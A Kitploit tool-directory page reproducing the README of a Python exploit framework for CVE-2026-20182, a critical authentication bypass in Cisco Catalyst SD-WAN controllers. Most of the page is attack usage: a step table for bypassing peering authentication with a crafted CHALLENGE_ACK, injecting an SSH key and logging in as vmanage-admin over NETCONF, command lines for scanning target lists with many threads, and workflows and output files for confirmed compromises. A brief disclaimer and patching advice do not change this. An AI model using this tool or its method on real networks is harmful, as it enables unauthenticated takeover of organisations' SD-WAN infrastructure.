Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-20182 — Cisco Catalyst SD-WAN Peering Authentication Bypass | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-20182
Authentication & AuthorizationVulnerability AnalysisExploitationNetwork SecurityPenetration TestingRed Teaming
GitHubnxploited/cve-2026-20182

CVE-2026-20182

Cisco Catalyst SD-WAN Peering Authentication Bypass

View Repository
122 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-20182

Cisco Catalyst SD-WAN Peering Authentication Bypass

CVE-2026-20182 — Cisco Catalyst SD-WAN Peering Authentication Bypass

Assessment tool for authorized testing of Cisco Catalyst SD-WAN Controller / Manager peering authentication bypass (CVE-2026-20182).

CVECVE-2026-20182
SeverityCritical (CVSS 10.0)
CVSS 3.1AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
ProductCisco Catalyst SD-WAN Controller (formerly vSmart) · Cisco Catalyst SD-WAN Manager (formerly vManage)
IssuePeering authentication mechanism not enforced correctly
ScriptCVE-2026-20182.py

Vulnerability Summary

May 2026 advisory: A flaw in control-connection handshaking / peering authentication allows an unauthenticated remote attacker to bypass authentication and obtain high-privileged internal access on affected systems.

An attacker sends crafted requests to the affected system. On success, the attacker may authenticate as an internal, high-privileged, non-root account and reach NETCONF, enabling manipulation of SD-WAN fabric configuration.

Recommendation: Apply Cisco security fixes per official vendor guidance. Restrict management plane exposure, monitor control-plane connections, and audit SD-WAN controllers for unauthorized configuration changes.


Contact

Telegram: @KNxploited


Console Preview

CVE-2026-20182 operations console


Tool: CVE-2026-20182.py

Python 3 exploit framework for CVE-2026-20182 against Cisco SD-WAN vdaemon (UDP/DTLS 12346).

What it does (step by step)

Fabric fallback: On TEAR_DOWN or param mismatch, retries alternate domain/site presets (1,100), (1,1), (0,0) unless --no-fallback.


Result Tiers (read carefully)

Important

  • check mode → tier 03 at best (bypass probe). Not full exploitation proof.
  • full mode → aim for tier 01 (ssh_verified).
  • https://host in list → TCP web hint only (80/443). Not UDP DTLS on 443.

Requirements

root@kitploit:~
pip install -r requirements.txt

OpenSSL (system)

Windows

  1. Install Win64 OpenSSL 3.x or equivalent
  2. Add bin\ to PATH, or set:
root@kitploit:~
OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

root@kitploit:~
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

The tool exits at startup if OpenSSL cannot be loaded.


Quick Start

Interactive menu (default)

root@kitploit:~
python CVE-2026-20182.py
  • Configure options 1–11, then 0 = LAUNCH SCAN
  • Default run mode: check (safe bypass probe)

Non-interactive (automation)

root@kitploit:~
python CVE-2026-20182.py -y

Run Modes

CHECK — bypass probe only

root@kitploit:~
python CVE-2026-20182.py -y --mode check

FULL — inject key + verify SSH (authorized targets only)

root@kitploit:~
python CVE-2026-20182.py -y --mode full

CLI Reference (every flag + example)

Targets & workers

-f / --file — targets list (default: targets.txt)

root@kitploit:~
python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — worker threads (1–200, default 12)

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — default DOMAIN_ID when not in list (default: 1)

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — default SITE_ID when not in list (default: 100)

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

Mode & automation

--mode — check | full

root@kitploit:~
python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — skip interactive menu; use CLI values only

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

SSH verification

--no-ssh-verify — skip post-inject SSH test (not recommended in full mode)

root@kitploit:~
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — also try TCP 22 after 830

root@kitploit:~
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / fabric

--no-try-list-udp — only UDP 12346; ignore :port from list

root@kitploit:~
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — lab: extra UDP ports on every host

root@kitploit:~
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — disable domain/site retry on TEAR_DOWN

root@kitploit:~
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

Logging

-v / --verbose — log each protocol TX/RX message

root@kitploit:~
python CVE-2026-20182.py -y -v -f targets.txt --mode check

Interactive Menu (when -y is omitted)


targets.txt Format

One target per line. Lines starting with # are ignored.

Example file

root@kitploit:~
# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

Not supported: IPv6 (IPv4 / hostname only).


Output Files

Example SSH command (tier 01)

root@kitploit:~
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

Recommended Workflows

1) Screen many hosts (fast)

root@kitploit:~
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

Review cisco_sdwan_03_bypass_only.jsonl and live stats Bypass only.

2) Confirm exploit on shortlisted hosts

root@kitploit:~
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

Review cisco_sdwan_01_confirmed_ssh.jsonl — only file with ssh_verified: true.

3) Debug single host (verbose)

root@kitploit:~
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

Live Telemetry (during scan)


Operational Notes

  • Default mode is check — does not write keys or prove SSH by itself.
  • Real success = ssh_verified=true in full mode only.
  • Patched / wrong fabric → often TEAR_DOWN after CHALLENGE_ACK; enable fabric fallback or fix domain/site in list.
  • Firewall must allow UDP/12346 (and any extra list UDP ports) from your scanner to the controller.
  • Do not commit sdwan_keys/ or scan results to public repositories.

Legal Disclaimer

This software is for authorized security research, defensive assessment, and education only.

You must have explicit written permission to test any system you do not own or operate. Unauthorized access to computer systems is illegal. The author is not responsible for misuse, damage, or legal consequences arising from use of this tool.

Use only on systems and networks where you are explicitly authorized to perform security testing.


By: Nxploited ( Khaled Alenazi )

Download Tool
ItemDetail
Attack vectorNetwork
Privileges requiredNone
User interactionNone
ScopeChanged
ImpactConfidentiality, integrity, and availability — High
StepPhaseDescription
1Load targetsParse targets.txt, merge duplicates by (host, domain_id, site_id)
2OpenSSL preflightLoad OpenSSL 3.x/4.x shared libraries for custom DTLS
3DTLS connectConnect to target UDP port (always 12346 first, then optional list ports)
4CHALLENGEReceive server CHALLENGE (0x08)
5CHALLENGE_ACKSend crafted CHALLENGE_ACK as vHub (type 2) — authentication bypass
6HelloComplete Hello exchange — confirms bypass path
7aCHECK modeStop here — record bypass / Hello OK only (no keys, no SSH)
7bFULL modeInject SSH public key via VMANAGE_TO_PEER
8Inject ACKExpect REGISTER_TO_VMANAGE (0x0D) as protocol acknowledgment
9SSH verifyTest login as vmanage-admin on TCP 830 (NETCONF), optional 22
10OutputSort findings into tier files + human-readable command list
TierFileMeaning
01 — Confirmed SSHcisco_sdwan_01_confirmed_ssh.jsonlssh_verified=true — only tier treated as full compromise proof
02 — Inject ACK onlycisco_sdwan_02_inject_ack_only.jsonlProtocol accepted key inject; SSH login failed
03 — Bypass onlycisco_sdwan_03_bypass_only.jsonlHello/bypass OK; no confirmed inject
RequirementNotes
Python3.9+
pipcryptography, rich
OpenSSL3.x or 4.x shared libs (libssl + libcrypto) — mandatory
ModeFlagSSH injectSSH verifyUse when
CHECK--mode check (default)NoNoMass screening, bypass detection
FULL--mode fullYesYes (unless --no-ssh-verify)Proof of compromise
#Option
1Targets file
2Worker threads
3Default DOMAIN_ID
4Default SITE_ID
5Mode: check / full
6Fabric auto-retry on TEAR_DOWN
7Verbose protocol log
8SSH verify after inject
9Also verify SSH :22
10Try explicit list UDP ports
11Extra UDP ports (lab)
12Show list format help
0▶ LAUNCH SCAN
FormatExampleBehavior
IP / hostname10.0.0.1UDP 12346 + defaults domain/site
IP + UDP port10.0.0.2:12346Also try list UDP port
IP + port + domain + site10.0.0.3:12346:1:100Full fabric tuple
HTTPS URLhttps://10.0.0.4Host + TCP 443 hint only (not UDP/443)
HTTP URLhttp://10.0.0.5TCP 80 hint only
UDP URLudp://10.0.0.6:12346Explicit UDP
Tab/comma separated10.0.0.7 12346 1 100Same as four-field form
Key=value10.0.0.8;port=12346;domain=1;site=100Semicolon KV syntax
FileContent
cisco_sdwan_results.jsonlRaw JSON result per attempt
cisco_sdwan_success.txtConfirmed SSH lines (tab-separated)
cisco_sdwan_01_confirmed_ssh.jsonlTier 01 — verified SSH
cisco_sdwan_02_inject_ack_only.jsonlTier 02 — inject ACK, SSH failed
cisco_sdwan_03_bypass_only.jsonlTier 03 — bypass / Hello only
cisco_sdwan_commands.txtHuman-readable SSH commands
cisco_sdwan_findings.jsonSession summary + counts
sdwan_keys/Generated private keys (full mode)
CounterMeaning
ProgressTargets completed / total
SSH verifiedTier 01 count
Inject ACKTier 02 count
Bypass onlyTier 03 count
FailedErrors / no bypass